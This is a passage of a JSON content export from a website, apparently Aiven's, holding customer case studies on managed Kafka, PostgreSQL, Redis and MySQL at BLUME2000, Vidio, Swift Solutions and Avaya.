relief!”"}],"markDefs":[],"style":"normal"},{"_key":"6b1c180d102a","_type":"block","children":[{"_key":"b931f3ff795a","_type":"span","marks":[],"text":"The timing of the system refresh was fortuitous as it was completed just before the major COVID-19 lockdowns occurred in Germany. BLUME2000 SE closed its shops and its customers went online. During that period, online revenue for the retailer almost doubled so the company had a strong year despite the challenging conditions. If the legacy system had been in place, BLUME2000 SE wouldn’t have been able to handle the increase in customers, transactions and data, putting the company’s profitability at risk."}],"markDefs":[],"style":"normal"},{"_key":"69b34a7183d9","_type":"block","children":[{"_key":"4650c87d9403","_type":"span","marks":[],"text":"As the COVID-19 restrictions were lifted and customers returned to brick and mortar shops, day-to-day online sales at BLUME2000 SE reduced but remained significantly higher than previously. Valentine’s Day and Mother’s Day are two of the most significant days of the year for BLUME2000 SE and an opportunity for Westphalen’s team to see the updated system operating at peak load. Despite the volume of order-related transactions increasing by 400% – in part due to new events – the high performance and scalability of Aiven for Apache Kafka ensures the data moves rapidly between the services."}],"markDefs":[],"style":"normal"},{"_key":"9981b4b4dc85","_type":"block","children":[{"_key":"cddd122780e2","_type":"span","marks":[],"text":"“We used to have issues with loading times for our customers. Today, with Aiven for Apache Kafka, we have very low latency which has transformed the customer experience. Even on occasions like Mother’s Day when we have more customers, more transactions and more data, everything operates seamlessly,” says Westphalen."}],"markDefs":[],"style":"normal"},{"_key":"433432512765","_type":"block","children":[{"_key":"9cca277ceeeb","_type":"span","marks":[],"text":"“I’m pleased with the team’s decision to use Aiven for Apache Kafka. Our developers can focus on innovation and delivering an awesome experience to our customers,” says Jonas Clusen, CIO at BLUME2000 SE."}],"markDefs":[],"style":"normal"},{"_key":"e184a96d779e","_type":"block","children":[{"_key":"be264e5fa4770","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"Online business seamlessly scales as transactions and data peak","variant":"oneColumn"},{"_key":"b61e54e158a5","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-98f2b992696affc6b31448ce018dd38848e1b160-1828x918-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false},{"_key":"cf11078c9b6c","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"6fdae3e3bf2e","_type":"block","children":[{"_key":"bb5f14bc9a730","_type":"span","marks":[],"text":"The retailer has a goal to migrate everything from its on-premises environment to Google Cloud, and Aiven for Apache Kafka will grow as the company’s cloud data infrastructure expands. As part of this growth, Westphalen’s team is exploring Aiven for PostgreSQL® to meet its high performance, relational database needs."}],"markDefs":[],"style":"normal"},{"_key":"e9afc9e36e70","_type":"block","children":[{"_key":"7abefc11fb58","_type":"span","marks":[],"text":"In tandem, Westphalen’s team is collaborating with the IT department that supports the in-store business, and the ongoing integration is already bringing success. For example, BLUME2000 SE recently launched a customer loyalty program that operates in-store as well as online, and introduced a new service to deliver flowers ordered in-store to customers’ homes using Wolt and Uber delivery services across different cities in Germany."}],"markDefs":[],"style":"normal"},{"_key":"d9c77ba11b41","_type":"block","children":[{"_key":"4fc98ee46078","_type":"span","marks":[],"text":"“It’s an exciting time at BLUME2000 SE and it's gratifying to see customers respond positively to the new services my team has helped develop,” says Westphalen."}],"markDefs":[],"style":"normal"}],"title":"Innovative services applauded by customers","variant":"oneColumn"}],"heroSubtitle":"Flower retailer bursts into bloom with Aiven for Apache Kafka® at the heart of its cloud data infrastructure ","heroTitle":"BLUME2000 SE Doubles Online Revenue with Aiven ","hostProviders":[{"_key":"9a6c4809149f","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"image":{"_type":"mainImage","asset":{"_ref":"image-e18f6f9bd86b82a4412c263bcffc766bdf292da0-1580x900-webp","_type":"reference"}},"industry":[{"_id":"21e66dfc-f88c-4f23-9238-0b848acaf2e0","label":"Retail","value":"retail"}],"publishedAt":"2023-09-07T07:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Flower retailer bursts into bloom with Aiven for Apache Kafka® at the heart of its cloud data infrastructure ","metaImage":{"_type":"mainImage","asset":{"_ref":"image-462fbcb3d006be1f324949dc2cc13327fecbe3e3-1200x628-png","_type":"reference"}},"metaTitle":"BLUME2000 SE Doubles Online Revenue with Aiven "},"services":[{"_key":"5693090acfd4","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"bc5e45e89a6d","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"},{"_key":"b6bc26b07294","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"7ba1fc469700","_ref":"c6ff24d7-20df-4041-a816-2f7f934c0b80","_type":"reference"}],"slug":{"_type":"slug","current":"/case-studies/blume2000-se-doubles-online-revenue-with-aiven"},"title":"BLUME2000 SE Doubles Online Revenue with Aiven "} {"__i18n_lang":"en","_createdAt":"2022-09-13T14:29:06Z","_id":"4b7c77b5-38c5-4c4a-82b6-53241a06020f","_rev":"6SVjZAesGXll0xWW26Zun9","_type":"caseStudy","_updatedAt":"2023-08-31T10:43:11Z","additionalResources":{"items":[{"_key":"c8de169b73ce","_ref":"145w1kDoj7UfbaINvzIOg9","_type":"reference"},{"_key":"618026efb28c","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/opensearch","title":"Read more"},"image":{"_type":"mainImage","asset":{"_ref":"image-01b60df4f51dd917fa83609560877831bdba98b8-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"b2304e3f5e90","_type":"block","children":[{"_key":"af8920b47c300","_type":"span","marks":[],"text":"OpenSearch is an open source fork derived from Elasticsearch."}],"markDefs":[],"style":"normal"}],"title":"Deploy true open source search and analytics with OpenSearch®","variant":"default"},{"_key":"eefcfda588b3","_ref":"Bn6QWyWT0ZxFmtWiDM23j","_type":"reference"}],"subtitle":[{"_key":"c0c427ed9a35","_type":"block","children":[{"_key":"f89623e861be","_type":"span","marks":[],"text":"Check out these related resources in our library!"}],"markDefs":[],"style":"normal"}],"title":"Where to go next"},"company":{"_ref":"798pg8vpkaOTehLq4MG4RD","_type":"reference"},"content":[{"_key":"bc95c5ceb015","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"0159bac8b92f","_type":"block","children":[{"_key":"fbb010009bfd0","_type":"span","marks":[],"text":"Vidio is Indonesia’s leading video streaming service, with more than 60 million monthly active users consuming 82 livestreams and over a million video-on-demand titles. They offer a rich variety of content: local and international entertainment, live sports, video-on-demand services, and pay-TV channels. Their volume of content and viewers makes Vidio one of the top apps downloaded by Indonesians, the world’s 4th largest population."}],"markDefs":[],"style":"normal"}],"title":"Overview","variant":"oneColumn"},{"_key":"b25c3c09eeed","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"aff1dca33954","_type":"block","children":[{"_key":"b29c4f20be370","_type":"span","marks":[],"text":"Aiven provides extra low latency, high uptime and great capacity for a massively popular video streaming service."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"695b4f150de1","_type":"block","children":[{"_key":"190843e4356b0","_type":"span","marks":[],"text":"Vidio can now deploy new services rapidly almost in real-time following fluctuations in user volumes."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Highlights","variant":"oneColumn"},{"_key":"8b770285fd1b","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"efa9c9a718cd","_type":"block","children":[{"_key":"ec00c2c4d43d0","_type":"span","marks":[],"text":"Vidio needs to guarantee low-latency streaming for end users while customizing the user experience. This is absolutely critical for success in the hyper-competitive streaming market."}],"markDefs":[],"style":"normal"},{"_key":"54d9b2a13525","_type":"block","children":[{"_key":"29092a5468ee0","_type":"span","marks":[],"text":"Yet with such a large customer base and so many sophisticated services on their network, this is easier said than done. Vidio’s technical team was spending far too much time on database management, up to the point where it was pulling them away from developing services — which is what they were originally hired to do."}],"markDefs":[],"style":"normal"},{"_key":"b16e76429430","_type":"block","children":[{"_key":"171fc05f35990","_type":"span","marks":[],"text":"“Database management is very important work and key to our overall mission, but it doesn’t directly contribute to the bottom line”, says Andy Librian, Technical Expert at Vidio."}],"markDefs":[],"style":"normal"},{"_key":"47136ab41b6a","_type":"block","children":[{"_key":"b179b6232b070","_type":"span","marks":[],"text":"Still, recurring problems with data pipelines and scalability have tangible consequences for streaming companies. In the past, Vidio would sometimes reach maximum capacity during live events like sports matches or music festivals."}],"markDefs":[],"style":"normal"},{"_key":"515fe91d9e2f","_type":"block","children":[{"_key":"d0775f2acc790","_type":"span","marks":[],"text":"“When we had a capacity or scalability problem due to a bottleneck in the database, within seconds we would be hit with customer support tickets and social media criticism”, Librian says."}],"markDefs":[],"style":"normal"},{"_key":"3dfdf5e950a5","_type":"block","children":[{"_key":"47e87c5ce0e00","_type":"span","marks":[],"text":"They needed to solve these problems for good, while at the same time giving their developers a chance to take on higher-level work."}],"markDefs":[],"style":"normal"},{"_key":"b1b11e72e587","_type":"block","children":[{"_key":"9e10472c17bb0","_type":"span","marks":[],"text":"“We wanted to find a managed service to free us from all data plumbing\", Librian explains. “The solution also needed to be simple, or it really wouldn’t have had any value.”"}],"markDefs":[],"style":"normal"}],"title":"The challenge","variant":"oneColumn"},{"_key":"d87cb77c639d","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"8f44c670f9f9","_type":"block","children":[{"_key":"44a11f39af2d0","_type":"span","marks":[],"text":"After reviewing multiple options, the company turned to Aiven."}],"markDefs":[],"style":"normal"},{"_key":"66861f26eb89","_type":"block","children":[{"_key":"164cf2c0c2560","_type":"span","marks":[],"text":"Vidio is now using Aiven for PostgreSQL®, a fully managed SQL database that can be deployed in any cloud. PostgreSQL is the company’s default choice for transactional data — such as user data, transactions, subscriptions and videos."}],"markDefs":[],"style":"normal"},{"_key":"0a183533f891","_type":"block","children":[{"_key":"498a0b61c73c0","_type":"span","marks":[],"text":"With Aiven, Vidio can deploy new services at a rapid pace."}],"markDefs":[],"style":"normal"},{"_key":"f1f0835bc40d","_type":"block","children":[{"_key":"a6a548d8ee320","_type":"span","marks":[],"text":"“When there is a need to create a database for a new service, we know that we can spin it up in a few minutes with Aiven”, Librian says."}],"markDefs":[],"style":"normal"},{"_key":"38ba274a34db","_type":"block","children":[{"_key":"bc48adb998790","_type":"span","marks":[],"text":"In addition, Aiven also provides Vidio with Redis, which is an open source in-memory data structure store. Vidio uses Redis for caching, ephemeral data, and its Pub/Sub feature for chat.\n"}],"markDefs":[],"style":"normal"},{"_key":"ea3a845b44f6","_type":"image","asset":{"_ref":"image-ba40401f9c729823f3e544595453b9b7622cb393-960x720-png","_type":"reference"}}],"title":"The solution","variant":"oneColumn"},{"_key":"fb431a4d2145","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"9917d3b39657","_type":"block","children":[{"_key":"05232f21c9440","_type":"span","marks":[],"text":"“Thanks to Aiven, we can now scale our databases to accommodate rapid fluctuations in user volume”, Librian explains. “This means we’ve been able to improve output and customer experience — while also gaining the ability to roll out new features at a much faster pace.”"}],"markDefs":[],"style":"normal"},{"_key":"48d252c0e2ad","_type":"block","children":[{"_key":"78c241ac84490","_type":"span","marks":[],"text":"Aiven shined during the early stages of the pandemic, especially when Vidio saw huge spikes in traffic (15x over a few hours) and their subscribers grew 3x in April."}],"markDefs":[],"style":"normal"},{"_key":"96e2ee65d046","_type":"block","children":[{"_key":"215206dda84a0","_type":"span","marks":[],"text":"“Database management used to be a huge bottleneck for us”, Librian adds. “We could scale our application servers, but we couldn’t scale our databases quite as easily. Now we are able to scale using multiple replicas. It takes only two clicks to add a new replica on Aiven.”"}],"markDefs":[],"style":"normal"},{"_key":"98d54d31680f","_type":"block","children":[{"_key":"3b7f7b6f4f8b0","_type":"span","marks":[],"text":"In fact, Vidio is able to practically scale its databases in real time with Aiven."}],"markDefs":[],"style":"normal"},{"_key":"ae8fc7238146","_type":"block","children":[{"_key":"b0e52b97819e0","_type":"span","marks":[],"text":"“We configure our backend application to connect to replicas for read-only requests (http GET requests)”, says Librian. “Then we use a client-side/sidecar proxy to load balance the connections to multiple replicas. When we need more capacity, we can spin up a new replica, attach it to the discovery mechanism, and HAProxy will be able to pick it up in less than 10 seconds. It works seamlessly without restarting the backend services or the proxy.”"}],"markDefs":[],"style":"normal"},{"_key":"c1603c9fc66f","_type":"image","asset":{"_ref":"image-c6025f85926dbe5ccb0c95832784c004320994aa-884x562-png","_type":"reference"}},{"_key":"2b5ab86676d7","_type":"block","children":[{"_key":"599a917d292a0","_type":"span","marks":[],"text":"To their satisfaction, the developers haven’t had any issues with capacity and scalability since using this technique with Aiven."}],"markDefs":[],"style":"normal"},{"_key":"9e3e22767182","_type":"block","children":[{"_key":"ba667cdc46c20","_type":"span","marks":[],"text":"“Now that we are able to scale our databases, we are more confident to run big events and no longer worry about the customers’ complaints”, Librian says."}],"markDefs":[],"style":"normal"},{"_key":"77c3811763d9","_type":"block","children":[{"_key":"3e04596f71770","_type":"span","marks":[],"text":"In addition, Vidio benefits from Aiven’s rapid response support."}],"markDefs":[],"style":"normal"},{"_key":"d2b4565bad7a","_type":"block","children":[{"_key":"d5067bfbf3f50","_type":"span","marks":[],"text":"“We really enjoy Aiven’s hands-on customer support. It’s a much better experience than what we’ve seen with other big cloud vendors”, Librian says."}],"markDefs":[],"style":"normal"},{"_key":"cc5311c3580f","_type":"block","children":[{"_key":"f09795e1fa6f0","_type":"span","marks":[],"text":"For Librian and the rest of the team at Vidio, Aiven is proving to be a key partner."}],"markDefs":[],"style":"normal"},{"_key":"7779c9f31922","_type":"block","children":[{"_key":"72d4c42702fa0","_type":"span","marks":[],"text":"“We know that we can count on Aiven”, says Librian. “We’ll use them for existing and new databases as we continue to grow.”"}],"markDefs":[],"style":"normal"}],"title":"The outcome","variant":"oneColumn"},{"_key":"1cc9fe8abd9f","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"82c83eaf8041","_ref":"2EiwKgMnphpp3U4oFjZauF","_type":"reference"}],"rounded":false,"variant":"media"}],"contentIsGated":false,"downloadLink":"https://go.aiven.io/aiven-cs-vidio-en","heroSubtitle":"Indonesian video service Vidio provides a scalable, reliable streaming platform with Aiven for PostgreSQL®.","heroTitle":"Aiven supercharges streaming giant Vidio’s engineering teams","hostProviders":[{"_key":"c22378a6e251","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"iframeSource":{"iframeHeight":800},"image":{"_type":"mainImage","asset":{"_ref":"image-f1d69a76befc0edca8288051a275c95dc7566373-1695x915-png","_type":"reference"}},"industry":[{"_id":"21893a68-7c84-4a28-8288-fea5434d27dc","label":"Media and Entertainment","value":"media-and-entertainment"}],"publishedAt":"2021-09-14T11:00:00.000Z","region":"APAC","seo":{"_type":"metaData","metaDescription":"Find out how Aiven helped Vidio's video streaming services to accommodate rapid fluctuations in user volume.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-264ebf6bd0fdb62de34ebd501e6e4274bc0a8151-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven supercharges streaming giant Vidio’s engineering teams"},"services":[{"_key":"0a8ce4f64676","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"83f9d903be49","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"reference"},{"_key":"dd2f32f9ccc8","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"}],"slug":{"_type":"slug","current":"/case-studies/aiven-supercharges-streaming-giant-vidios-engineering-teams"},"title":"Vidio"} {"__i18n_lang":"en","_createdAt":"2022-09-05T12:29:01Z","_id":"58ae63fb-c2da-4986-b03f-01d7830d3d82","_rev":"pv5QzE4Lm79BNhDrjkAQIb","_type":"caseStudy","_updatedAt":"2023-08-29T07:16:15Z","company":{"_ref":"17IOucz0A2afQRoggZvU06","_type":"reference"},"content":[{"_key":"87ca81f4adff","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"b220a4787e96","_type":"block","children":[{"_key":"335a2738f52b","_type":"span","marks":[],"text":"The logistics business is expanding and within it, Swift Solutions is growing its market share. They have to be able to scale fast and continually optimize in order to meet customer demands. By relying on Aiven’s fully managed services they can do this. "}],"markDefs":[],"style":"normal"},{"_key":"34b11eeae4dc","_type":"block","children":[{"_key":"21aa03d63695","_type":"span","marks":[],"text":"Swift uses Aiven for Redis ™* and Aiven for MySQL®️ in production, soon to be joined by Aiven for PostgreSQL® and Aiven for Apache Kafka® as they add more and more warehouses and open up their WMS for partners. This gives end users access to real-time data about their deliveries."}],"markDefs":[],"style":"normal"}],"title":"Highlights","variant":"oneColumn"},{"_key":"458fa228cba0","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"7ebf8bd0c1e4","_type":"block","children":[{"_key":"dc6cb0175b79","_type":"span","marks":["38b214375e1e"],"text":"Swift Solutions"},{"_key":"383c540437c5","_type":"span","marks":[],"text":", founded in 2020 and recently acquired by Tokopedia, is a Jakarta-based logistics company offering delivery and order fulfillment services in the fast-growing Indonesia region."}],"markDefs":[{"_key":"38b214375e1e","_type":"link","href":"https://www.swiftsolutions.id/"}],"style":"normal"},{"_key":"7fafea39c637","_type":"block","children":[{"_key":"a7d26883efd1","_type":"span","marks":[],"text":"The logistics industry has seen unprecedented growth in 2020-2022, partly due to COVID-19 and its influx of home-delivered goods, partly to technological innovation and new players that offer increasingly smooth and affordable service. What’s more, the business is also having to respond to shorter and shorter delivery time requirements. In Indonesia, services like the quick commerce Tokopedia NOW, required delivery times are down to under 120 minutes."}],"markDefs":[],"style":"normal"},{"_key":"4f744aada065","_type":"block","children":[{"_key":"8d05e944788d","_type":"span","marks":[],"text":"Caught up in this movement, Swift Solutions is growing rapidly, fuelled by their recent acquisition by Tokopedia. Read how Swift is scaling up their infrastructure with Aiven, in order to meet enormous growth from 15 million orders this year to 45 million next year."}],"markDefs":[],"style":"normal"}],"title":"The challenge","variant":"oneColumn"},{"_key":"67d65af7f783","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"b8719a5dc252","_ref":"6RKIzfTvV95lb8Kl2J4oMZ","_type":"reference"}],"rounded":false,"variant":"media"},{"_key":"33b4032b1fb1","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"9054de6a8519","_type":"block","children":[{"_key":"3a1fc5fff164","_type":"span","marks":[],"text":"“Our growth will be huge this year and the next,” says Al i Zainuddin, CTO at Swift Solutions. “This year, we expect to be processing about 15 million orders. Next year’s target is 40-45 million.” "}],"markDefs":[],"style":"normal"},{"_key":"c3b75cf47206","_type":"block","children":[{"_key":"b2e12f4412a6","_type":"span","marks":[],"text":"The first priority for Swift Solutions is to maintain their market share in this global change by growing their business and meeting the increasing needs. Their operations must be ready to scale up drastically in a short timespan. But that’s not all, because these changes are about more than scale. Like their competitors, Swift Solutions has to re-evaluate the whole architecture and consider how to set it up going forward. "}],"markDefs":[],"style":"normal"},{"_key":"ca2fddb481b7","_type":"block","children":[{"_key":"314214b60610","_type":"span","marks":[],"text":"Swift Solutions has been using a solution based on MySQL and Redis, with Kafka for data streaming and Kubernetes for orchestration. The company continuously struggled with finding DBAs to maintain it, an issue that became more and more critical as the amount of data increased. This represented a continuous, low-grade headache for Swift, with occasional peaks of migraine whenever outages took down their services."}],"markDefs":[],"style":"normal"},{"_key":"16c108448f6e","_type":"block","children":[{"_key":"4d51cf740a96","_type":"span","marks":[],"text":"After one particularly prolonged outage, things came to a head. Swift Solutions was aware that their data infrastructure support and maintenance had to be renewed, but not only were they unable to find DBAs to take the job on, but they were also reluctant to invest in a single technology solution. Outscoping any solution posed a clear risk to their flexibility in a period of growth. No matter which set of tools and skills they chose, it might all have to be changed up again if a new solution looked more promising in the changing market."}],"markDefs":[],"style":"normal"},{"_key":"15fdde93b089","_type":"block","children":[{"_key":"d0da47bb6f57","_type":"span","marks":[],"text":"Buying their data infra fully managed and hosted was their only safe course."}],"markDefs":[],"style":"normal"}],"variant":"oneColumn"},{"_key":"60206c8afcdf","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"7cdc9688a66a","_type":"block","children":[{"_key":"2e39e9e19426","_type":"span","marks":[],"text":"In Aiven, Swift Solutions found a partner who can host and manage for them the exact same solution as their old one. Aiven was able to provide all the data infrastructure components they needed, and what was more, they were collected under the same Aiven Console. Swift needed no immediate changes to their basic setup, all that had to be done was migrate the data over to Aiven’s services. This was easy to do without any downtime, allowing business to continue and customers to receive their orders. "}],"markDefs":[],"style":"normal"},{"_key":"d07c72b4577f","_type":"block","children":[{"_key":"00697be5631d","_type":"span","marks":[],"text":"Currently Swift Solutions is using Aiven for MySQL and Aiven for Redis for data storage, which is a very stable, quite conservative setup. Swift deploys their applications into a cloud based Kubernetes, and they have adopted the Aiven Kubernetes Operator for testing while Aiven is still actively developing it. "}],"markDefs":[],"style":"normal"},{"_key":"ae9050a002c1","_type":"block","children":[{"_key":"908c3d5c4ae0","_type":"span","marks":[],"text":"For consistent infrastructure as code, Swift uses Terraform and quickly integrated the Aiven Terraform Provider into their production deployments. This comprehensive orchestration and management solution makes their data workflow configuration effortless, reversible and reproducible."}],"markDefs":[],"style":"normal"},{"_key":"7a84e0db379e","_type":"block","children":[{"_key":"fd7fc7b6c73e","_type":"span","marks":[],"text":"“Being able to use Kubernetes and Terraform is a really good feature at Aiven,” says Ignacio Evan Daryanto, Tech Team Lead at Swift Solutions. “We have a better DevOps flow, and configuration errors are history.”"}],"markDefs":[],"style":"normal"}],"title":"The solution","variant":"oneColumn"},{"_key":"0b48eb987f54","_type":"testimonial","disabled":false,"fullWidth":false,"isHideMedia":true,"items":[{"_key":"35ee38019db9","_ref":"50Lyk5bVyE9eoRRed4FYUH","_type":"reference"}],"rounded":false,"variant":"media"},{"_key":"56e0cbe4f797","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"945e9117372f","_type":"block","children":[{"_key":"4526d0103e910","_type":"span","marks":[],"text":"Swift is happy knowing that their data is in excellent hands at Aiven, who keep the infrastructure up to date and healthy. “It’s still our own database, except it’s managed by Aiven,” says Evan. “Everything works smoothly, we don’t have to worry about it, and we can focus on our own feature development.”"}],"markDefs":[],"style":"normal"}],"title":"The outcome","variant":"oneColumn"},{"_key":"a1bfcb81afd7","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"6962b50099d1","_type":"block","children":[{"_key":"573f9086e6a50","_type":"span","marks":[],"text":"Alfi echoes this. “In practice, apart from Aiven’s excellent support, there’s not much functional difference between using our own infrastructure and using Aiven’s, but on the mental side, the difference is huge. We have a lot less pain and headaches now!” he laughs. "}],"markDefs":[],"style":"normal"},{"_key":"7609aa25872e","_type":"block","children":[{"_key":"c48054444f99","_type":"span","marks":[],"text":"Alfi adds: “Our personnel bandwidth is limited. It’s a much better use of our money to pay the management fee than to try to hire a team for just this function.” "}],"markDefs":[],"style":"normal"},{"_key":"c231b5a4e5ef","_type":"block","children":[{"_key":"e52740911bbf","_type":"span","marks":[],"text":"Alfi calculates that Swift’s TCO of Aiven’s services to be in the neighborhood of 10% compared to their previous setup, but he points out that with the reduced management costs, they’re actually saving money. Just the salary of one trained DBA brings their TCO savings into the 30-40% range. On top of that they have the benefits of increased reliability and stability."}],"markDefs":[],"style":"normal"}],"variant":"oneColumn"},{"_key":"54f01012fb2b","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"23c10e8a6213","_ref":"1Fmu90em1wIn9AVxwa2k3h","_type":"reference"}],"rounded":false,"variant":"media"},{"_key":"c1f1be58290e","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"a412fc2f974e","_type":"block","children":[{"_key":"513cda40b73e0","_type":"span","marks":[],"text":"The next technical step for Swift is to implement their Warehouse Management System 2.0: start using Aiven for Apache Kafka with Apache Kafka Connect to stream warehouse data into BigQuery. This way they can implement advanced horizontal logistics collaboration (HLC) with the larger Tokopedia ecosystem. "}],"markDefs":[],"style":"normal"},{"_key":"f783ce751a36","_type":"block","children":[{"_key":"dbd0b03fcd0c","_type":"span","marks":[],"text":"BigQuery data flowing through the system includes operational delivery and warehouse data but also monitoring and metrics, leading to a better overall view of the status of the supply chain. "}],"markDefs":[],"style":"normal"},{"_key":"78c2abc36097","_type":"block","children":[{"_key":"cd1c97923da8","_type":"span","marks":[],"text":"This will enable them to create operational and executive dashboards, plus a recommendation engine that will enhance integrated business planning, putaway processes and supply chain orchestration. "}],"markDefs":[],"style":"normal"},{"_key":"79a240ef5d9c","_type":"block","children":[{"_key":"9bfdd8d79852","_type":"span","marks":[],"text":"Another future improvement will be implementing change data capture (CDC) so that their sync with BigQuery can be continuous instead of hourly. This will let every end user get their delivery information in real time, all across the Tokopedia ecosystem. "}],"markDefs":[],"style":"normal"},{"_key":"af49d84dee44","_type":"block","children":[{"_key":"3f81efd2f5e7","_type":"span","marks":[],"text":"But the most exciting news is yet to come. Swift’s data solution is getting to be so robust and extensible that they’re planning to offer their Warehouse Management System (WMS) to other Dilayani Tokopedia and Tokopedia partners to use, too. “That’s going to be huge,” Alfi says. “We’ve planned to utilize Aiven’s data infrastructure to scale and roll it out properly.” "}],"markDefs":[],"style":"normal"},{"_key":"eace77e659d3","_type":"block","children":[{"_key":"27ec403094fc","_type":"span","marks":[],"text":"With Aiven, they can scale up so quickly and easily that it frees them from worrying about capacity and carrying the risks of initial investment. "}],"markDefs":[],"style":"normal"},{"_key":"74817af99290","_type":"block","children":[{"_key":"1fd8712d59eb","_type":"span","marks":[],"text":"So the future’s looking bright and headache-free for Swift. “With the great help and support from Aiven, we can keep our infrastructure stable, scale our business fast, and keep control of our data,” Alfi says. “That’s the key.”"}],"markDefs":[],"style":"normal"}],"title":"Going forward with Aiven","variant":"oneColumn"}],"heroHasVideo":true,"heroSubtitle":"Swift expands its delivery and order fulfillment services by using Redis, MySQL and PostgreSQL.","heroTitle":"Aiven enabling Swift growth","image":{"_type":"mainImage","asset":{"_ref":"image-5adab4a00c9be66bd9bf1a2757bac3f55d8e2ce5-1920x1037-jpg","_type":"reference"}},"publishedAt":"2022-01-20T12:02:00.000Z","seo":{"_type":"metaData","metaDescription":"Swift Solutions is using managed data infrastructure to expand their business","metaImage":{"_type":"mainImage","asset":{"_ref":"image-79dbe7db7828afd9f3ade4a37ce9f8987c76e1b5-2500x1312-jpg","_type":"reference"}},"metaTitle":"Aiven enabling Swift growth – Discover the benefits"},"slug":{"_type":"slug","current":"/case-studies/aiven-enabling-swift-growth"},"title":"Swift","ytId":"r5bo7T2_Y9I"} {"__i18n_lang":"en","_createdAt":"2023-11-07T08:11:03Z","_id":"cb009e59-7ab2-4357-9574-17e640b69477","_rev":"6DRE6Zb4jyu9iXgb2EfiKF","_type":"caseStudy","_updatedAt":"2023-11-10T13:41:38Z","company":{"_ref":"540d62ad-dad5-4a28-9c54-94f436709b92","_type":"reference"},"content":[{"_key":"069e45dee81a","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"28976d92c114","_type":"block","children":[{"_key":"0f0f37d35d660","_type":"span","marks":["7d999818883c"],"text":"Avaya "},{"_key":"4b973c63ab82","_type":"span","marks":[],"text":"is a global leader in customer experience solutions, supporting more than 6 million contact center seats worldwide, while also offering a portfolio of employee communication and collaboration solutions. The company recently launched a major business transformation plan to support its global customer base in transitioning from their largely on-premises deployments to the many benefits of the cloud — leveraging its flagship customer experience solution for the contact center, the Avaya Experience Platform. "}],"markDefs":[{"_key":"7d999818883c","_type":"link","href":"https://www.avaya.com/"}],"style":"normal"},{"_key":"1829dae025aa","_type":"block","children":[{"_key":"b1e5621583d50","_type":"span","marks":[],"text":"Avaya chose the Aiven platform, and specifically Aiven for Apache Kafka® and Aiven for Apache OpenSearch®, as foundational elements of its Avaya Experience Platform cloud solution. Partnering with Aiven has enabled Avaya to collaborate with Kafka experts, and quickly develop and mature their innovation on the platform, as well as recognize significant cost savings."}],"markDefs":[],"style":"normal"}],"variant":"oneColumn"},{"_key":"d1cd02d203a9","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-08d1e5d6d3c034249ac495dc46bc82a841f2ec7e-1837x954-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false},{"_key":"f40f31e3554f","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center 